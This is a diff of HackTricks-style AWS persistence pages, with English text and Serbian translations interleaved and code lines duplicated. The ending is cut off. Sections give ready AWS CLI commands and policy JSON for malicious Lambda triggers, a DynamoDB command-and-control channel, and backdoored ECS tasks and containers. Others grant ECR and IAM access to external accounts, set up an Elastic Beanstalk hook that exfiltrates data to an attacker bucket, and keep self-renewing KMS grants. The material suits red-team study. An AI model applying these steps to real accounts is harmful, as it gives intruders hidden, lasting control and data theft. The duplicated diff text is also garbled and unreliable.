||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Da bi održao postojanost, napadač može da kreira ili menja stavke u DynamoDB tabeli, što će pokrenuti zlonamernu Lambda funkciju. Ovo omogućava napadaču da izvrši kod unutar AWS naloga bez direktne interakcije sa Lambda funkcijom.
|
||||
|
||||
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
|
||||
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
|
||||
### DynamoDB kao C2 kanal
|
||||
|
||||
Napadač može koristiti DynamoDB tabelu kao **command and control (C2) kanal** kreiranjem stavki koje sadrže komande i korišćenjem kompromitovanih instanci ili Lambda funkcija za preuzimanje i izvršavanje ovih komandi.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
|
||||
Kompromitovane instance ili Lambda funkcije mogu povremeno proveravati C2 tabelu za nove komande, izvršavati ih i po želji izveštavati o rezultatima nazad u tabelu. Ovo omogućava napadaču da održi postojanost i kontrolu nad kompromitovanim resursima.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,55 +4,51 @@
|
||||
|
||||
## EC2
|
||||
|
||||
For more information check:
|
||||
Za više informacija proverite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
### Praćenje veze sigurnosne grupe
|
||||
|
||||
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
|
||||
Ako odbrambeni sistem otkrije da je **EC2 instanca kompromitovana**, verovatno će pokušati da **izoluje** **mrežu** mašine. To može učiniti sa eksplicitnim **Deny NACL** (ali NACL-ovi utiču na celu podmrežu), ili **promenom sigurnosne grupe** koja ne dozvoljava **nikakav ulazni ili izlazni** saobraćaj.
|
||||
|
||||
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
Ako je napadač imao **obrnuti shell koji potiče sa mašine**, čak i ako je SG izmenjen da ne dozvoljava ulazni ili izlazni saobraćaj, **veza neće biti prekinuta zbog** [**Praćenja veze sigurnosne grupe**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
### EC2 Menadžer životnog ciklusa
|
||||
|
||||
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
|
||||
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
|
||||
Ova usluga omogućava **zakazivanje** **kreiranja AMI-a i snimaka** i čak **deljenje sa drugim nalozima**.\
|
||||
Napadač bi mogao da konfiguriše **generisanje AMI-a ili snimaka** svih slika ili svih volumena **svake nedelje** i **podeli ih sa svojim nalogom**.
|
||||
|
||||
### Scheduled Instances
|
||||
### Zakazane instance
|
||||
|
||||
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
|
||||
Moguće je zakazati instance da se pokreću dnevno, nedeljno ili čak mesečno. Napadač bi mogao da pokrene mašinu sa visokim privilegijama ili zanimljivim pristupom gde bi mogao da pristupi.
|
||||
|
||||
### Spot Fleet Request
|
||||
### Spot Fleet Zahtev
|
||||
|
||||
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
|
||||
Spot instance su **jeftinije** od redovnih instanci. Napadač bi mogao da pokrene **mali spot fleet zahtev za 5 godina** (na primer), sa **automatskom IP** dodelom i **korisničkim podacima** koji šalju napadaču **kada spot instanca počne** i **IP adresu** i sa **IAM ulogom sa visokim privilegijama**.
|
||||
|
||||
### Backdoor Instances
|
||||
### Instanca sa zadnjim ulazom
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
Napadač bi mogao da dobije pristup instancama i da ih zadnji ulaz:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring the **User Data**
|
||||
- Koristeći tradicionalni **rootkit** na primer
|
||||
- Dodajući novu **javnu SSH ključ** (proverite [EC2 privesc opcije](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Zadnjim ulazom u **Korisničke podatke**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
### **Konfiguracija pokretanja sa zadnjim ulazom**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
- Zadnji ulaz u korišćeni AMI
|
||||
- Zadnji ulaz u Korisničke podatke
|
||||
- Zadnji ulaz u Par ključeva
|
||||
|
||||
### VPN
|
||||
|
||||
Create a VPN so the attacker will be able to connect directly through i to the VPC.
|
||||
Kreirajte VPN tako da napadač može direktno da se poveže kroz njega sa VPC-om.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
|
||||
Kreirajte peering vezu između VPC-a žrtve i VPC-a napadača kako bi mogao da pristupi VPC-u žrtve.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,98 +4,88 @@
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
### Sakrivena Docker slika sa zloćudnim kodom
|
||||
|
||||
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
|
||||
Napadač bi mogao **da otpremi Docker sliku koja sadrži zloćudni kod** u ECR repozitorijum i koristi je za održavanje postojanosti u ciljanom AWS nalogu. Napadač bi zatim mogao da implementira zloćudnu sliku na razne usluge unutar naloga, kao što su Amazon ECS ili EKS, na diskretan način.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Add a policy to a single repository granting yourself (or everybody) access to a repository:
|
||||
### Politika repozitorijuma
|
||||
|
||||
Dodajte politiku jednom repozitorijumu koja vam omogućava (ili svima) pristup repozitorijumu:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
|
||||
> Imajte na umu da ECR zahteva da korisnici imaju **dozvolu** da pozivaju **`ecr:GetAuthorizationToken`** API putem IAM politike **pre nego što se mogu autentifikovati** na registru i slati ili preuzimati slike iz bilo kog Amazon ECR repozitorijuma.
|
||||
|
||||
### Registry Policy & Cross-account Replication
|
||||
### Politika registracije i replikacija između naloga
|
||||
|
||||
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
|
||||
Moguće je automatski replicirati registar u eksternom nalogu konfigurišući replikaciju između naloga, gde treba da **naznačite eksterni nalog** u kojem želite da replicirate registar.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
First, you need to give the external account access over the registry with a **registry policy** like:
|
||||
|
||||
Prvo, treba da date eksternom nalogu pristup nad registrijem sa **politikom registracije** kao:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
|
||||
Then apply the replication config:
|
||||
|
||||
Zatim primenite konfiguraciju replikacije:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,29 +4,28 @@
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
### Sakrivena Periodična ECS Zadatak
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
|
||||
|
||||
Napadač može kreirati sakriveni periodični ECS zadatak koristeći Amazon EventBridge da **zakazuje izvršenje zlonamernog zadatka periodično**. Ovaj zadatak može vršiti izviđanje, eksfiltrirati podatke ili održavati postojanost u AWS nalogu.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
@@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
|
||||
|
||||
Napadač može dodati **neprimetan backdoor kontejner** u postojeću ECS definiciju zadatka koji se pokreće zajedno sa legitimnim kontejnerima. Backdoor kontejner se može koristiti za postojanost i izvođenje zlonamernih aktivnosti.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Undocumented ECS Service
|
||||
### Nedokumentovana ECS Usluga
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
|
||||
|
||||
Napadač može kreirati **nedokumentovanu ECS uslugu** koja pokreće zloćudni zadatak. Postavljanjem željenog broja zadataka na minimum i onemogućavanjem logovanja, postaje teže administratorima da primete zloćudnu uslugu.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
### Izmenite Politiku Resursa / Sigurnosne Grupe
|
||||
|
||||
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
|
||||
Izmenom **politike resursa i/ili sigurnosnih grupa** možete pokušati da zadržite svoj pristup u fajl sistemu.
|
||||
|
||||
### Create Access Point
|
||||
### Kreirajte Pristupnu Tačku
|
||||
|
||||
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
|
||||
Možete **kreirati pristupnu tačku** (sa root pristupom do `/`) koja je dostupna iz servisa gde ste implementirali **drugog persistenciju** da zadržite privilegovan pristup fajl sistemu.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,31 +4,30 @@
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
### Održavanje u Instanci
|
||||
|
||||
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
|
||||
Da bi se održala postojanost unutar AWS naloga, neki **mehanizam postojanosti može biti uveden unutar instance** (cron job, ssh ključ...) tako da napadač može da pristupi i ukrade IAM ulogu **akreditiva iz metadata servisa**.
|
||||
|
||||
### Backdoor in Version
|
||||
### Bekdor u Verziji
|
||||
|
||||
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
|
||||
Napadač bi mogao da ubaci bekdor u kod unutar S3 repozitorijuma tako da se uvek izvršava njegov bekdor i očekivani kod.
|
||||
|
||||
### New backdoored version
|
||||
### Nova verzija sa bekdorom
|
||||
|
||||
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
|
||||
Umesto da menja kod na aktuelnoj verziji, napadač bi mogao da implementira novu verziju aplikacije sa bekdorom.
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
### Zloupotreba Prilagođenih Resursa Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
|
||||
Elastic Beanstalk pruža lifecycle hooks koji vam omogućavaju da pokrenete prilagođene skripte tokom postavljanja i gašenja instance. Napadač bi mogao da **konfiguriše lifecycle hook da periodično izvršava skriptu koja exfiltrira podatke ili održava pristup AWS nalogu**.
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
@@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,50 +4,44 @@
|
||||
|
||||
## IAM
|
||||
|
||||
For more information access:
|
||||
Za više informacija pristupite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Common IAM Persistence
|
||||
### Uobičajena IAM Persistencija
|
||||
|
||||
- Create a user
|
||||
- Add a controlled user to a privileged group
|
||||
- Create access keys (of the new user or of all users)
|
||||
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
|
||||
- Disable MFA / Add you own MFA device
|
||||
- Create a Role Chain Juggling situation (more on this below in STS persistence)
|
||||
- Kreirajte korisnika
|
||||
- Dodajte kontrolisanog korisnika u privilegovanu grupu
|
||||
- Kreirajte pristupne ključeve (novog korisnika ili svih korisnika)
|
||||
- Dodelite dodatne dozvole kontrolisanim korisnicima/grupama (priložene politike ili inline politike)
|
||||
- Onemogućite MFA / Dodajte svoj MFA uređaj
|
||||
- Kreirajte situaciju sa lancem uloga (više o ovome u nastavku u STS persistenciji)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
|
||||
### Politike poverenja za backdoor uloge
|
||||
|
||||
Možete napraviti backdoor u politiku poverenja kako biste mogli da je preuzmete za spoljašnji resurs koji kontrolišete (ili za sve):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Backdoor Policy Version
|
||||
|
||||
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
|
||||
Dajte Administrator dozvole politici koja nije u njenoj poslednjoj verziji (poslednja verzija treba da izgleda legitimno), a zatim dodelite tu verziju politike kontrolisanom korisniku/grupi.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
|
||||
Ako nalog već veruje u zajedničkog provajdera identiteta (kao što je Github), uslovi poverenja mogu biti pojačani kako bi napadač mogao da ih zloupotrebi.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,43 +1,37 @@
|
||||
# AWS - KMS Persistence
|
||||
# AWS - KMS Persistencija
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
For mor information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
### Dodeljivanje pristupa putem KMS politika
|
||||
|
||||
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
|
||||
Napadač može koristiti dozvolu **`kms:PutKeyPolicy`** da **dodeli pristup** ključa korisniku pod njegovom kontrolom ili čak eksternom nalogu. Pogledajte [**KMS Privesc stranicu**](../aws-privilege-escalation/aws-kms-privesc.md) za više informacija.
|
||||
|
||||
### Eternal Grant
|
||||
### Večna Dodela
|
||||
|
||||
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
|
||||
Dodele su još jedan način da se principalu daju neka ovlašćenja nad specifičnim ključem. Moguće je dodeliti dodelu koja omogućava korisniku da kreira dodele. Štaviše, korisnik može imati nekoliko dodela (čak i identičnih) nad istim ključem.
|
||||
|
||||
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
|
||||
|
||||
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
|
||||
Stoga, moguće je da korisnik ima 10 dodela sa svim ovlašćenjima. Napadač bi trebao stalno pratiti ovo. A ako u nekom trenutku 1 dodela bude uklonjena, treba generisati još 10.
|
||||
|
||||
(Koristimo 10, a ne 2, da bismo mogli da detektujemo da je dodela uklonjena dok korisnik još uvek ima neku dodelu)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
> Grant može dati dozvole samo iz ovoga: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,7 +12,7 @@ For more information check:
|
||||
|
||||
### Lambda Layer Persistence
|
||||
|
||||
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
|
||||
